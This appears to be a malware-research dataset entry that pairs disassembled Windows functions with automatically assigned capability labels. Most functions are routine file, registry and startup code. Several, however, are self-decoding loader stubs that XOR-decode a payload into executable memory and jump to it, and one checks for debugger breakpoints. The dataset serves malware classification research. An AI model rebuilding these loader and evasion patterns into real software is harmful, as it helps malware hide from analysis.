joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4084eb
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x40a2f8
call fcn.004086ec
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40852b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40852b
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x408543
cmp eax, 0x20b
je 0x408530
mov dword [ebp - 0x1c], ebx
jmp 0x408557
cmp dword [ecx + 0x84], 0xe
jbe 0x40852b
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x408551
cmp dword [ecx + 0x74], 0xe
jbe 0x40852b
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40c200], 0xffffffff
or dword [0x40c204], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40c1b8]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40c1b4]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40c1fc], eax
call fcn.004087ea
call fcn.0040888a
cmp dword [0x40c090], ebx
jne 0x4085b7
push fcn.0040888a
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00408878
push 0x40c020
push 0x40c01c
call sub.MSVCR71.dll__initterm
push 0x40882e
call fcn.004083c5
mov eax, dword [0x40c1b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40c1ac]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x40860b
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c018
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x408689
cmp al, bl
je 0x408635
cmp dword [ebp - 0x20], ebx
jne 0x408689
mov al, byte [esi]
cmp al, bl
je 0x408645
cmp al, 0x20
ja 0x408645
inc esi
mov dword [ebp - 0x24], esi
jmp 0x408635
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x408661
movzx eax, word [ebp - 0x54]
jmp 0x408664
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00408990
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x408681
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x4086de
cmp al, 0x22
jne 0x408698
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x4086ab
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x408623
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00408727
ret
Function at 0x10ef05ec
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10ef05f6
pushal
call 0x10ef05fc
pop ebp
sub ebp, 0x10
sub ebp, 0xef05ec
mov al, byte [esp + 0x28]
cmp al, 1
je 0x10ef0620
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x10ef0629
mov eax, 0xef05ec
add eax, ebp
add eax, 0x63
mov ecx, 0x5b0
mov edx, 0x73d31bb5
xor byte [eax], dl
inc eax
dec ecx
jne 0x10ef0640
jmp 0x10ef0653
js 0x10ef0694
cmp al, 0x89
mov ch, 0xb5
mov ch, 0x34
je 0x10ef06ab
mov ch, 0xb5
mov ch, 0xb6
js 0x10ef0671
mov bl, 0xb5
mov ch, 0xb5
setge byte [ebp + 0x5742b5b5]
mov dh, 0x7d
xor al, 0xb9
mov ch, 0xb5
mov ch, 0xb6
jo 0x10ef06b2
mov dh, 0x70
cmp cl, dl
xchg ecx, eax
dec ecx
cmp al, 0xb1
xchg ecx, eax
rcl dword [ecx - 0x6e4ec3b7]
cmp cl, dl
xchg ecx, eax
dec ecx
cmp al, 0xb1
xchg ecx, eax
frstor dword [ecx]
jmp 0xfeccbc2c
fst st(0)
fnstsw word [0xb5b05d2d]
mov ch, 0xb5
pop esp
wait
mov ch, 0xb5
mov ch, 0x38
rcl dword [ecx - 0x6e66c3b7]
loope 0x10ef0694
call 0xc6ac36ee
mov ch, 0xb5
xor byte ds:[ebp + 0x3eb5b5b5], bh
and byte [ecx + 0x3eb5b5b5], bh
and byte ds:[ecx + 0x3eb5b5b5], bh
cmp byte [ebp + 0x74b5b5b5], ah
pop esp
mov bh, 0x84
mov bh, 0x36
ja 0x10ef0677
cld
mov edx, 0x4a4a4130
dec edx
call 0x4fa4c049
cmp dword [ecx - 0x4a4a4a4f], edx
frstor dword [ecx]
jmp 0xfeccbc7d
Function at 0x401b4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401b5a
pop dword [ebp - 0x28]
mov eax, 0x401b5a
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x317f12c3
sub dword [ebp - 0x38], 0xe32ccd78
mov dword [ebp - 0x34], 0x8ea545ae
sub dword [ebp - 0x34], 0x5c71f969
mov dword [ebp - 0x30], 0xc347a46b
sub dword [ebp - 0x30], 0x76fb603d
mov dword [ebp - 0x2c], 0x9d2c0795
sub dword [ebp - 0x2c], 0x9d2c0795
lea eax, [ebp - 0x38]
push eax
mov eax, 0x2cbcd015
add eax, 0xd384003f
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xc69208e3
add dword [ebp - 0x38], 0xade06073
mov dword [ebp - 0x34], 0x3b97be89
sub dword [ebp - 0x34], 0xfa2b5d14
mov dword [ebp - 0x30], 0x6917e8d6
sub dword [ebp - 0x30], 0x5a87c6a
mov dword [ebp - 0x2c], 0xbf1dcdf8
sub dword [ebp - 0x2c], 0xbf1dcdf8
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x6dd6dedb
sub eax, 0x6d960e8f
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x398ad
push 0
call eax
mov ecx, 0x40fbfab3
sub ecx, 0x40fbb356
xor esi, esi
add esi, eax
mov edx, 0xa6e0625f
sub edx, 0xa69eb25f
add edx, dword [ebp - 0x28]
mov ebx, 0xab128449
add ebx, 0xb3717cee
sub dword [ebp - 4], eax
mov edi, dword [edx]
add dword [ebp - 8], edx
sub edi, ebx
mov dword [esi], edi
xor dword [ebp - 0xc], 0x935605d2
add esi, 4
add edx, 4
loop 0x401c79
add eax, 0x11047
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x44a2ca
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push 0x40149c
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x44a33a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x4055c0
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44a331
cmp dword [ebp - 0xc], 4
jne 0x44a331
cmp dword [ebp - 0x10], edi
je 0x44a331
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x624298], edi
xor eax, eax
jmp 0x44a379
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x624298], edi
jge 0x44a374
lea eax, [ebp - 0x34]
push eax
mov dword [0x624298], edi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x44a374
cmp word [ebp - 0x14], 5
jb 0x44a374
call fcn.004de6b0
test eax, eax
je 0x44a374
emms
mov dword [0x624298], 1
mov eax, dword [0x624298]
pop edi
leave
ret

Function at 0x4bd8e0
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x63c894]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp + 0x20]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp + 0x24]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0xb4], esi
mov dword [ebp - 0xb0], edi
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
je 0x4bd9dd
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
xor esi, esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
mov dword [ebp - 0xac], eax
add eax, 3
and eax, 0xfffffffc
call fcn.0061b1b0
cmp dword [ebp - 0xac], esi
mov dword [ebp - 0xa8], esp
jne 0x4bd98e
push 0x40616c
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov eax, 0x8876086c
jmp 0x4bda08
push esi
push esi
push dword [ebp - 0xac]
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
fld dword [ebp + 0x18]
push dword [ebp - 0xa4]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push ecx
push ecx
fstp dword [esp + 4]
fld dword [ebp + 0x14]
fstp dword [esp]
push dword [ebp - 0xa8]
push dword [ebp - 0xb0]
push dword [ebp - 0xb4]
call fcn.004de6b0
jmp 0x4bda08
fld dword [ebp + 0x18]
push 1
push dword [ebp - 0xa4]
push dword [ebp - 0x9c]
push dword [ebp - 0xa0]
push ecx
push ecx
fstp dword [esp + 4]
fld dword [ebp + 0x14]
fstp dword [esp]
push ebx
push edi
push esi
call fcn.004de6b0
lea esp, [ebp - 0xc0]
mov ecx, dword [ebp - 4]
call fcn.0061b76c
pop edi
pop esi
pop ebx
leave
ret 0x20
Function at 0x4de6b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4de6bf
pop dword [ebp - 0x1c]
mov eax, 0x4de6bf
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x794ce
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x57253bb8
add ecx, 0xa8db0c73
mov ebx, eax
mov edx, 0xf5f4f5be
add edx, 0xa716c42
add edx, dword [ebp - 0x1c]
mov edi, 0xb165b2d1
sub edi, 0xf22f1b8e
add dword [ebp - 0x10], ecx
mov esi, dword [edx]
add dword [ebp - 0x14], ecx
add esi, edi
xor dword [ebp - 8], 0xf841c241
mov dword [ebx], esi
mov dword [ebp - 4], 0x3de677c9
add ebx, 0x61fba4c5
add ebx, 0x9e045b3f
add edx, 4
loop 0x4de714
add eax, 0x58a189f9
add eax, 0xa75f8986
xor ebx, ebx
add ebx, eax
add eax, 0xa81fd0c2
add eax, 0x57e02f43
mov ecx, 0xd553fcce
add ecx, 0x2aec0332
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x578b52
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
mov dword [ebp - 4], ebx
je 0x578c71
mov esi, dword [ebp + 0xc]
cmp esi, ebx
je 0x578c71
push ebx
push 0x8000080
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x578ba4
call fcn.004de6b0
mov eax, 0x80004005
jmp 0x578c76
mov eax, dword [esi]
push esi
call dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x18]
mov dword [ebp - 8], eax
push edi
and dword [ebp + 0xc], 0
push 0x18
pop edi
sub edi, ebx
mov eax, 0x400000
cmp edi, eax
jbe 0x578bef
mov edi, eax
push 0
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp + ebx - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x578c65
cmp dword [ebp + 0xc], edi
jne 0x578c6a
add ebx, edi
cmp ebx, 0x18
jne 0x578bdb
mov eax, dword [esi]
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x1c]
push 0
push esi
call dword [eax + 0x28]
mov edi, eax
test edi, edi
jl 0x578c4b
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x1c]
shl eax, 2
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.004de6b0
mov edi, eax
test edi, edi
jl 0x578c4b
xor edi, edi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x578c60
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov eax, edi
pop edi
jmp 0x578c76
call fcn.004de6b0
mov edi, 0x80004005
jmp 0x578c4b
mov eax, 0x8876086c
pop esi
pop ebx
leave
ret 8
Function at 0x578c81
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
mov dword [ebp - 4], ebx
je 0x578da0
mov esi, dword [ebp + 0xc]
cmp esi, ebx
je 0x578da0
push ebx
push 0x8000080
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x578cd3
call fcn.004de6b0
mov eax, 0x80004005
jmp 0x578da5
mov eax, dword [esi]
push esi
call dword [eax + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x18]
mov dword [ebp - 8], eax
push edi
and dword [ebp + 0xc], 0
push 0x18
pop edi
sub edi, ebx
mov eax, 0x400000
cmp edi, eax
jbe 0x578d1e
mov edi, eax
push 0
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp + ebx - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x578d94
cmp dword [ebp + 0xc], edi
jne 0x578d99
add ebx, edi
cmp ebx, 0x18
jne 0x578d0a
mov eax, dword [esi]
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x1c]
push 0
push esi
call dword [eax + 0x28]
mov edi, eax
test edi, edi
jl 0x578d7a
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x1c]
shl eax, 2
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.004de6b0
mov edi, eax
test edi, edi
jl 0x578d7a
xor edi, edi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x578d8f
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov eax, edi
pop edi
jmp 0x578da5
call fcn.004de6b0
mov edi, 0x80004005
jmp 0x578d7a
mov eax, 0x8876086c
pop esi
pop ebx
leave
ret 8
Function at 0x5797c5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
je 0x579951
cmp dword [ebp + 0xc], edi
je 0x579951
push edi
push 0x8000080
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x579817
call fcn.004de6b0
mov eax, 0x80004005
jmp 0x579956
push ebx
push esi
mov ebx, 0x400000
and dword [ebp + 8], 0
push 0x18
pop esi
sub esi, edi
cmp esi, ebx
jbe 0x57982d
mov esi, ebx
push 0
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp + edi - 0x24]
push eax
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x5798a1
cmp dword [ebp + 8], 0
je 0x5798a6
cmp dword [ebp + 8], esi
jne 0x5798a6
add edi, esi
cmp edi, 0x18
jne 0x57981e
xor ebx, ebx
cmp dword [ebp - 0x24], ebx
je 0x57992e
cmp dword [ebp - 0x20], ebx
je 0x57992e
cmp dword [ebp - 0x1c], ebx
je 0x57992e
cmp dword [ebp - 0x10], ebx
je 0x57988a
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
jne 0x57992e
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x5798b0
mov ecx, eax
call fcn.005796b5
mov esi, eax
jmp 0x5798b2
call fcn.004de6b0
mov edi, 0x80004005
jmp 0x579933
xor esi, esi
cmp esi, ebx
mov dword [ebp - 0xc], esi
jne 0x5798c0
mov edi, 0x8007000e
jmp 0x579933
cmp dword [ebp - 0x10], ebx
push dword [ebp - 0x1c]
mov ecx, esi
push dword [ebp - 0x20]
je 0x5798da
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.004de6b0
jmp 0x5798e2
push dword [ebp - 0x24]
call fcn.004de6b0
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x5798f3
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x579933
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x24]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x579933
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
shl eax, 2
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004de6b0
mov edi, eax
test edi, edi
jl 0x579933
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor edi, edi
jmp 0x579933
mov edi, 0x8876086c
cmp dword [ebp - 4], 0
pop esi
pop ebx
je 0x579944
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
jmp 0x579956
mov eax, 0x8876086c
pop edi
leave
ret 8
Function at 0x579960
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
je 0x579aec
cmp dword [ebp + 0xc], edi
je 0x579aec
push edi
push 0x8000080
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x5799b2
call fcn.004de6b0
mov eax, 0x80004005
jmp 0x579af1
push ebx
push esi
mov ebx, 0x400000
and dword [ebp + 8], 0
push 0x18
pop esi
sub esi, edi
cmp esi, ebx
jbe 0x5799c8
mov esi, ebx
push 0
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp + edi - 0x24]
push eax
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x579a3c
cmp dword [ebp + 8], 0
je 0x579a41
cmp dword [ebp + 8], esi
jne 0x579a41
add edi, esi
cmp edi, 0x18
jne 0x5799b9
xor ebx, ebx
cmp dword [ebp - 0x24], ebx
je 0x579ac9
cmp dword [ebp - 0x20], ebx
je 0x579ac9
cmp dword [ebp - 0x1c], ebx
je 0x579ac9
cmp dword [ebp - 0x10], ebx
je 0x579a25
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
jne 0x579ac9
push 0x2c
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x579a4b
mov ecx, eax
call fcn.005796b5
mov esi, eax
jmp 0x579a4d
call fcn.004de6b0
mov edi, 0x80004005
jmp 0x579ace
xor esi, esi
cmp esi, ebx
mov dword [ebp - 0xc], esi
jne 0x579a5b
mov edi, 0x8007000e
jmp 0x579ace
cmp dword [ebp - 0x10], ebx
push dword [ebp - 0x1c]
mov ecx, esi
push dword [ebp - 0x20]
je 0x579a75
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.004de6b0
jmp 0x579a7d
push dword [ebp - 0x24]
call fcn.004de6b0
mov edi, eax
cmp edi, ebx
mov eax, dword [esi]
jge 0x579a8e
push 1
mov ecx, esi
call dword [eax + 0x4c]
jmp 0x579ace
lea ecx, [ebp - 4]
push ecx
push dword [ebp - 0x24]
push ebx
push esi
call dword [eax + 0x28]
mov edi, eax
cmp edi, ebx
jl 0x579ace
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
shl eax, 2
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004de6b0
mov edi, eax
test edi, edi
jl 0x579ace
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor edi, edi
jmp 0x579ace
mov edi, 0x8876086c
cmp dword [ebp - 4], 0
pop esi
pop ebx
je 0x579adf
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
jmp 0x579af1
mov eax, 0x8876086c
pop edi
leave
ret 8
Function at 0x57c53b
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x61c12d
call fcn.0061b168
push ecx
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
lea ecx, [esi + 0x10]
mov dword [ebp - 0x10], esi
mov dword [esi], 0x421fb8
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
call fcn.0057c38e
fld1
xor ebx, ebx
fstp dword [esi + 0x20]
inc ebx
lea ecx, [esi + 0x74]
mov dword [ebp - 4], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], 0x3ba3d70a
mov dword [esi + 0x6c], edi
call fcn.00589a34
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x4c], ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x589a34
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x61c464
call fcn.0061b168
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi], ebx
lea ecx, [esi + 0x10]
mov dword [ebp - 4], ebx
call fcn.00595352
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 1
call fcn.00595352
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.00595352
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 3
call fcn.00587df6
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 4
call fcn.00587ece
lea ecx, [esi + 0x60]
mov byte [ebp - 4], 5
call fcn.00587ece
lea ecx, [esi + 0x70]
mov byte [ebp - 4], 6
call fcn.005899e3
or dword [esi + 0x90], 0xffffffff
or dword [esi + 0x94], 0xffffffff
or dword [esi + 0x98], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x80], ebx
mov dword [esi + 0x84], ebx
mov dword [esi + 0x88], ebx
mov dword [esi + 0x8c], ebx
mov dword [esi + 0x9c], ebx
mov dword [esi + 0xa0], ebx
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xa8], ebx
mov byte [esi + 0xac], bl
mov byte [esi + 0xad], bl
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x5a7b8b
Capabilities:
Delete file

Disassembly:
mov edi, edi
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_CloseHandle]
mov esi, ecx
push dword [esi + 0x30]
mov dword [esi], 0x423960
call edi
push dword [esi + 0x34]
call edi
mov eax, dword [esi + 0x38]
cmp eax, 0xffffffff
je 0x5a7bb2
push eax
call edi
mov al, byte [esi + 0x48]
test al, 0x40
je 0x5a7bc8
test al, al
js 0x5a7bd5
push dword [esi + 0xc]
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x5a7bd5
test al, al
js 0x5a7bd5
push dword [esi + 0xc]
call dword [sym.imp.kernel32.dll_DeleteFileA]
push dword [esi + 0xc]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [esi + 0x20]
call fcn.005a60bd
pop edi
lea ecx, [esi + 0x10]
pop esi
jmp fcn.005a56c6
Function at 0x5a81b2
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
mov dword [esi], 0x4238c4
call fcn.004de6b0
lea ebx, [esi + 0x30]
mov ecx, ebx
call fcn.004de6b0
push dword [esi + 0x3c]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [esi + 0x48]
test edi, edi
je 0x5a81ee
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x4c]
test edi, edi
je 0x5a8205
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov eax, dword [esi + 0x50]
xor edi, edi
cmp eax, edi
je 0x5a824f
cmp dword [eax], edi
jbe 0x5a8238
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [esi + 0x50]
mov eax, dword [eax + 0xc]
push dword [eax + edi*4]
call sub.msvcrt.dll_free
mov eax, dword [esi + 0x50]
inc edi
cmp edi, dword [eax]
pop ecx
jb 0x5a8212
mov edi, dword [esi + 0x50]
test edi, edi
je 0x5a824f
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov edi, dword [esi + 0x54]
test edi, edi
je 0x5a8266
push dword [edi + 0xc]
call sub.msvcrt.dll_free
push edi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
cmp byte [esi + 0x5c], 0
je 0x5a827c
cmp dword [esi + 0x44], 1
jne 0x5a828a
push dword [esi + 0x2c]
call fcn.004de6b0
jmp 0x5a828a
cmp dword [esi + 0x44], 1
jne 0x5a828a
push dword [esi + 0x2c]
call fcn.004de6b0
push dword [esi + 0x2c]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 8]
pop ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, ebx
call fcn.005a8daf
lea ecx, [esi + 0x1c]
call fcn.005a607d
pop edi
lea ecx, [esi + 0xc]
pop esi
pop ebx
jmp fcn.005a56c6

Function at 0x5b1680
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esi + 0x14], 0xcc
je 0x5b16a3
mov eax, dword [esi + 0x1a8]
push esi
call dword [eax]
mov dword [esi + 0x8c], 0
mov dword [esi + 0x14], 0xcc
